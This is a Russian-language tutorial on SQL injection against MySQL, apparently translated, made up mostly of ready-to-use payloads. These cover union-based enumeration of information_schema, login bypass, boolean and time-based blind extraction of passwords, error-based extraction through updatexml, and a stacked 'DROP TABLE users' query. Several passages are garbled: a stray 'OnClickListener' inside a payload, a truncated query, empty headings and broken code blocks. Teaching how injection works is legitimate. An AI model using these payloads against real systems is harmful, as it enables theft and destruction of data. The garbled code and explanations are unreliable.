Не буду использовать странные формальные выражения, а просто объясню, что SQL-инъекция — это метод выполнения неожиданных SQL-запросов через управляемые пользователем точки ввода. Неожиданность заключается в том, что вставляя соответствующие запросы, можно получить доступ к другим данным в базе данных. Детали смотрите ниже на примере.
Пример такого запроса:
$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];
По задумке, передаваемое значение id
используется для индексации, и ожидаемые значения могут быть:
$_GET["id"] = 1;
$_GET["id"] = 2;
Таким образом, ожидаемые SQL-запросы будут выглядеть так:
$sql = "SELECT username,password FROM users WHERE id = 1";
$sql = "SELECT username,password FROM users WHERE id = 2";
......
Без фильтрации, мы можем добавить свои собственные запросы:
Например, переданное значение:
$_GET["id"] = "1 union select username,password from user"
Тогда итоговый запрос будет:
$sql = "SELECT username,password FROM users WHERE id = 1 union select username,password from user;"
Таким образом, выполняется неожиданный SQL-запрос, и мы получаем не только ожидаемые данные из таблицы users
, но и дополнительные данные.
Когда вы видите это, вам не обязательно знать все детали запроса, но важно понимать, что такое SQL-инъекция и как она работает.
Далее мы начнем с базовых понятий и синтаксиса SQL-баз данных и постепенно дойдем до базовых знаний SQL-инъекции.### Основы SQL-баз данных
Как показано на рисунке, база данных имеет иерархическую структуру:
Основные синтаксисы:
SELECT
SELECT имя_столбца1, имя_столбца2, ... FROM имя_таблицы WHERE условие
UNION
SELECT имя_столбца FROM имя_таблицы
UNION
SELECT имя_столбца_1 FROM имя_таблицы_1;
Обратите внимание, что при использовании UNION
количество столбцов в двух таблицах должно быть одинаковым.
LIMIT
SELECT столбец1, столбец2, ... FROM имя_таблицы LIMIT количество; # Возвращает первые количество строк из таблицы
SELECT столбец1, столбец2, ... FROM имя_таблицы LIMIT смещение, количество_строк; # Возвращает количество_строк строк, начиная с строки с номером смещение+1
# Например, LIMIT 10, 10 вернет строки с 11 по 20
SELECT * FROM table_name ORDER BY column_name DESC LIMIT 10;
Комментарий
SELECT username,password FROM users WHERE id = ((1)) union select username,password from user;-- )) limit 1, 1; все последующие данные будут откомментированы
DROP sampletable;# все последующие данные будут откомментированы
DROP/*комментарий*/sampletable` DR/**/OP/*обход фильтра*/sampletable` SELECT/*заменить пробелы*/password/**/FROM/**/Members #/**/может использоваться для замены пробелов
#/*все данные между комментариями будут откомментированы*/
``` ```sql
SELECT /*!32302 1/0, */ 1 FROM tablename -- Этот /*! комментарий существует только в MySQL
ORDER BY
SELECT column1, column2, ... FROM table_name [WHERE condition] ORDER BY column_name [ASC|DESC];
-- где column1, column2 и т.д. — это названия столбцов, которые нужно выбрать, table_name — это имя таблицы, condition — это условие выборки, column_name — это имя столбца, по которому будет производиться сортировка, ASC или DESC — это сортировка по возрастанию или убыванию. Можно использовать несколько столбцов для сортировки, разделяя их запятыми.
-- В SQL-инъекциях мы часто используем этот метод для определения количества столбцов
SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 1; -- без ошибок
SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 2; -- без ошибок
SELECT column1, column2 FROM table_name [WHERE condition] ORDER BY 3; -- с ошибкой
Часто используемые параметры:- user()
— текущий пользователь базы данных
database()
— текущее имя базы данныхversion()
— текущая версия базы данных@@datadir
— путь к директории хранения данных базы данныхconcat()
— объединение данных, используется для объединения результатов двух запросов. Например, concat(username,0x3a,password)
group_concat()
— и concat()
похожи, например, group_concat(DISTINCT user,0x3a,password)
— используется для вывода нескольких строк данных за один запросconcat_ws()
— используется аналогичноhex()
и unhex()
— для кодирования и декодирования в hexASCII()
— возвращает ASCII код символаCHAR()
— преобразует целое число в соответствующий символload_file()
— чтение файла в текстовом формате, в Windows пути задаются как \\
select xxoo into outfile 'путь'
— при наличии соответствующих прав можно использовать для записи файла### Основные типы инъекцийПример, который мы привели в начале, является типичным примером числовой инъекции.
$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];
Можно разделить это на две части: исходное выражение SELECT username,password FROM users WHERE id =
и ввод пользователя $_GET["id"]
.
Ранее мы упоминали, что такие выражения обычно используются для того, чтобы пользователь вводил id для поиска. Поэтому ожидаемым вводом являются числа, и они просто добавляются к запросу.
Однако, поскольку ввод пользователя не фильтруется, любое значение будет добавлено к запросу без изменений. Поэтому мы можем использовать следующие шаги для получения информации о базе данных:
Используем Order by
для определения количества столбцов, что поможет в дальнейшей инъекции.
id = OnClickListener 1 Order by 1;
id = 1 Order by 2;
id = 1 Order by 3; # Ошибка, определяет количество столбцов как 2
Используем объединение запросов union
для получения имени базы данных из information_schema
.
1 union SELECT 1,schema_name FROM information_schema.schemata;
# или
1 union SELECT schema_name,2 FROM information_schema.schemata;
# Обратите внимание, что schema_name должен быть включен в отображаемые столбцы, например, если password не отображается, но username отображается, используйте второй вариант.
# В этом случае запрос на сервере будет выглядеть так:
SELECT username,password FROM users WHERE id = 1 union SELECT 1,schema_name FROM information_schema.schemata;
```- Затем используем объединение запросов для получения имени таблиц в базе данных. Обычно мы сначала получаем таблицы текущей базы данных (используя `database()`), а затем смотрим на таблицы других баз данных.
Здесь мы используем `UNION`, `GROUP_CONCAT(table_name)` и `information_schema.tables`.
```sql
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
# Принцип тот же
# Если нужно получить таблицы из другой базы данных, можно использовать where table_schema='databaseNAME'
# Запрос на сервере будет выглядеть так:
SELECT username,password FROM users WHERE id = 1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()
Ниже приведен способ получения соответствующих имен полей для таблицы, что облегчит последующий запрос.
Для этого мы используем UNION
, GROUP_CONCAT(column_name)
и information_schema.columns
.
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()
1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database()
# Выполнение запроса в фоновом режиме:
SELECT username,password FROM users WHERE id = 1 union select group_concat(column_name),2 from information_schema.columns where table_schema=database();
Для примера предположим, что у нас есть система входа, которая принимает два параметра: имя пользователя и пароль. Запрос на сервере может выглядеть следующим образом:```sql SELECT * FROM users WHERE username='$username' AND password='$password';
В этом случае, если разработчик ожидает, что параметры будут строками, это может привести к уязвимости SQL-инъекции.
В отличие от числовых инъекций, нам нужно сначала закрыть одинарную кавычку.
Предположим, что `$username` = `-1' or '1'='1' -- `
```sql
SELECT * FROM users WHERE username='-1' or '1'='1' -- ' AND password='$password';
Таким образом, условие WHERE
становится всегда истинным, и запрос выводит все данные из таблицы users
.
Аналогично числовым инъекциям, мы можем использовать объединение запросов для получения информации о базе данных.
order by
для определения количества столбцов:
SELECT * FROM users WHERE username='-1' or '1'='1' order by 1-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' order by 2-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' order by 3-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' order by 4-- ' AND password='$password'; # Ошибка
Теперь, как и в случае с числовыми инъекциями, заменим order by NUM
на соответствующий запрос:
SELECT * FROM users WHERE username='-1' or '1'='1' union SELECT 1,schema_name,2 FROM information_schema.schemata;-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()-- ' AND password='$password';
SELECT * FROM users WHERE username='-1' or '1'='1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database()-- ' AND password='$password';
```### Блайнд-инъекция
Блайнд-инъекция — это метод атаки, при котором нападающий не может напрямую получить данные из базы данных, а должен использовать определённые техники для определения или вывода данных из базы данных. Блайнд-инъекция обычно подразделяется на булеву блайнд-инъекцию и временную блайнд-инъекцию.
В качестве примера рассмотрим следующий SQL-запрос:
```php
$sql = "SELECT username,password FROM users WHERE id = ".$_GET["id"];
Для вышеупомянутого запроса, если параметр id
передан следующим образом:
id = 1 AND 1=1
Тогда запрос будет выглядеть так:
SELECT username,password FROM users WHERE id = 1 AND 1=1;
Здесь требуется, чтобы оба условия были истинными: id=1
и 1=1
. Оба условия, конечно, выполняются, особенно последнее.
А если я сделаю условие после AND
таким образом, чтобы оно было ложным:
SELECT username,password FROM users WHERE id = 1 AND '1'='2';
# Здесь '1' = '2', что эквивалентно 1 = 2
Можно видеть, что результат пустой, так как условие после AND
не выполняется.
Используя этот символ AND
, можно попытаться получить информацию следующими способами:
LENGTH()
для получения информации о длинеНапример, используем функцию LENGTH()
для получения длины данных:```sql
id = 1 AND length(username) = NUM
Тогда запрос будет выглядеть так:
```sql
SELECT username, password FROM users WHERE id = 1 AND length(username) = 1;
Конечно, перебор длины таким образом неэффективен. Можно использовать знаки <
и >
для перебора с использованием алгоритма бинарного поиска:
id = 1 AND length(username) < NUM
id = 1 AND length(username) > NUM
Такая эффективность будет намного выше.
Функция SUBSTR()
используется для извлечения части строки. Используя функцию SUBSTR()
, можно постепенно извлекать данные из базы данных:
SUBSTR(string, start, length)
где string
— это строка, которую нужно извлечь, start
— начальная позиция извлечения, length
— длина извлекаемой части. Функция SUBSTR()
начинает извлечение с позиции start
и извлекает указанное количество символов.
1 AND SUBSTR(username, 1, 1) = '?'
Выполнение этого выражения:
SELECT username, password FROM users WHERE id = 1 AND SUBSTR(username, 1, 1) = '?';
SELECT username, password FROM users WHERE id = 1 AND SUBSTR(username, 2, 1) = 'd';
Используя извлечение по частям, можно выполнить fuzz-тестирование конкретного символа данных.
Здесь рекомендуется написать скрипт для выполнения такой сложной работы.
Кроме того, функция SUBSTR()
может использоваться для замены символов в строке: ```sql
UPDATE users SET username=SUBSTR(username,1,3)||'***'||SUBSTR(username,7) WHERE username='admin'
Данное SQL-выражение заменяет символы с 4 по 6 в имени пользователя 'admin' на '***'.
Используя комбинацию этой функции, можно получить соответствующие данные без использования объединенного SQL-инъектирования и зависимых визуальных откликов:
```sql
SELECT username,password FROM users WHERE id = 1 AND SUBSTR((SELECT password FROM users WHERE username='admin'),1,1)='a'
Функция MID()
Функция MID()
также используется для извлечения части строки.
MID(string, start, length)
MID("Hello, World!", 1, 5) # Возвращает "Hello";
SUBSTR("Hello, World!", 1, 5) # Возвращает "Hello".
Функция CONCAT()
Функция CONCAT()
используется для объединения нескольких строк в одну.
CONCAT(string1, string2, ...)
SELECT username,password FROM users WHERE id = 1 union select CONCAT(username,'-',password),1 from users;
В случае слепого SQL-инъектирования мы обычно используем функцию объединения для уменьшения количества запросов.
На самом деле, это похоже на булево SQL-инъектирование, но вместо этого используется время выполнения SQL-запроса для определения его истинности, чтобы постепенно вывести данные из базы данных. Вот некоторые часто используемые функции и приемы их применения:
IF()
Функция IF()
является условной функцией, которая используется для проверки выполнения определенного условия и возврата различных значений в зависимости от результата проверки. ```sql
IF(условие, значение_если_истина, значение_если_ложь)
Здесь `условие` представляет собой проверяемое условие, `значение_если_истина` — значение, которое возвращается, если условие выполнено, а `значение_если_ложь` — значение, которое возвращается, если условие не выполнено. Если условие выполнено, функция `IF()` вернет `значение_если_истина`, в противном случае — `значение_если_ложь`.
SLEEP()
Функция SLEEP()
является ядром временных инъекций, её синтаксис выглядит так: SLEEP(секунды)
Когда этот запрос выполняется, программа будет приостановлена на указанное количество секунд, как показано в следующем примере:
Обычно функции IF
и SLEEP
используются вместе.
SELECT * FROM users WHERE username='admin' AND IF(SLEEP(5),1,0)
Если в базе данных нет пользователя с именем admin
, то этот запрос немедленно вернёт результат; в противном случае, программа будет приостановлена на cq 5 секунд перед возвратом результата.
Также мы можем использовать наш демонстрационный запрос SELECT username,password FROM users WHERE id =
для демонстрации:
SLEEP()
или BENCHMARK()
, для проверки успешности инъекции.SELECT username,password FROM users WHERE id = 1 AND IF(ASCII(SUBSTR(username,1,1))=97,SLEEP(5),0)
Если первый символ имени пользователя в таблице пользователей является буквой a
, программа будет приостановлена на 5 секунд, в противном случае вернётся 0. - Использование метки времени
Можно использовать функции времени базы данных, такие как UNIX_TIMESTAMP()
, для создания запросов с задержкой, например:
SELECT username,password FROM users WHERE id = 1 AND IF(UNIX_TIMESTAMP()>1620264296,SLEEP(5),0)
Этот SQL-запрос означает: если текущий таймстамп больше 1620264296
, программа будет приостановлена на 5 секунд, в противном случае вернется 0.
Можно использовать значения, возвращаемые функциями, такими как LENGTH()
или SUBSTR()
, для проверки успешности инъекции. Например:
SELECT username,password FROM users WHERE id = 1 AND IF(LENGTH(username)=4,SLEEP(5),0)
Этот SQL-запрос означает: если длина имени пользователя равна 4, программа будет приостановлена на 5 секунд, в противном случае вернется 0.
BENCHMARK()
Функция BENCHMARK()
является функцией, используемой для повторного выполнения указанного запроса. Она поддерживается в базах данных, таких как MySQL. Синтаксис функции BENCHMARK()
обычно выглядит так:
BENCHMARK(количество,выражение)
В этом синтаксисе количество
указывает количество повторений, а выражение
— выражение, которое нужно повторять.
Рассмотрим пример:
SELECT * FROM users WHERE username='admin' AND IF(BENCHMARK(10,MD5('test')),1,0)
Если в базе данных нет пользователя с именем admin
, то этот запрос немедленно вернет результат; в противном случае, программа выполнит функцию MD5('test')
10 раз перед тем, как вернуть результат.### Инъекция через ошибки
Как следует из названия, метод получения данных с помощью информации об ошибках.- updatexml()
Здесь мы рассмотрим инъекцию ошибок с использованием функции updatexml()
.
updatexml()
— это функция обработки XML в MySQL, которая используется для обновления данных в XML-формате. Её стандартное использование выглядит следующим образом:
UPDATEXML(xml_target, xpath_expr, new_value)
где xml_target
— это XML-данные, которые нужно обновить, xpath_expr
— это путь к узлу, который нужно обновить, а new_value
— это новое значение узла.
Однако эта функция имеет недостаток: если два параметра содержат специальные символы, то функция вернёт ошибку, и содержимое второго параметра будет отображено в сообщении об ошибке.
mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1, 0x7e, 3);
1105 - XPATH syntax error: '~'
Используя эту особенность, можно с помощью функции concat()
объединить запрос и специальные символы, чтобы отобразить результат запроса в сообщении об ошибке.
SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e, version()), 3)
Выход:
mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e, version()), 3);
1105 - XPATH syntax error: '~8.0.12'
Однако следует учесть, что сообщение об ошибке имеет ограничение по длине символов. Существует два способа решения этой проблемы:
LIMIT()
SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e, (select username from users limit 1, 1)), 3);
# Изменяя значение limit NUM,1, можно построчно получать данные
substr()
SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 31)), 3);
Результат выполнения:
mysql> SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 31)), 3);
1105 - XPATH syntax error: '~admin,super,flag,null'
Используя вышеупомянутые особенности, можно получить следующие данные: Получение всех баз данных
SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat('~', substr((select group_concat(schema_name) from information_schema.schemata), 1, 31)), 3)
Получение всех таблиц
SELECT username, password FROM users WHERE id = 1 and updatexml(1, concat('~', substr(
Получение всех полей
SELECT username, password FROM users WHERE id = 1 and
updatexml(1,concat('~',
substr(
(select group_concat(column_name)
from information_schema.columns
where table_schema = 'security' and table_name = 'users')
, 1 , 31)
),3)
- `extractvalue()`
extractvalue()
— это функция для обработки XML в MySQL, которая используется для извлечения значений из определенных узлов XML-данных.
Обычно его синтаксис выглядит следующим образом:
EXTRACTVALUE(xml_target, xpath_expr)
Здесь xml_target
— это XML-данные, из которых нужно извлечь узел, а xpath_expr
— это путь к узлу.
Метод использования extractvalue()
для внесения ошибок похож на использование функции updatexml()
, но с одним меньше параметром.
Кроме того, ограничение длины сообщений об ошибках также такое же, как и для updatexml()
, поэтому здесь нет необходимости подробно описывать это.
floor()
exp()
Как следует из названия, метод стекового ввода заключается в выполнении нескольких SQL-запросов одновременно.
Основная идея проста:
При выполнении SQL-запроса, если запрос содержит несколько SQL-запросов, сервер базы данных будет последовательно выполнять эти запросы, что может привести к нескольким атакам SQL-инъекции. Используя точку с запятой (;) для разделения нескольких SQL-запросов, можно осуществить атаку стекового ввода.
Пример:
SELECT username, password FROM users WHERE id = 1; DROP TABLE users;--
При выполнении этого SQL-запроса сервер базы данных последовательно выполнит эти два запроса, что приведет к получению имени пользователя и пароля из таблицы users
и удалению самой таблицы users
.
Вы можете оставить комментарий после Вход в систему
Неприемлемый контент может быть отображен здесь и не будет показан на странице. Вы можете проверить и изменить его с помощью соответствующей функции редактирования.
Если вы подтверждаете, что содержание не содержит непристойной лексики/перенаправления на рекламу/насилия/вульгарной порнографии/нарушений/пиратства/ложного/незначительного или незаконного контента, связанного с национальными законами и предписаниями, вы можете нажать «Отправить» для подачи апелляции, и мы обработаем ее как можно скорее.
Опубликовать ( 0 )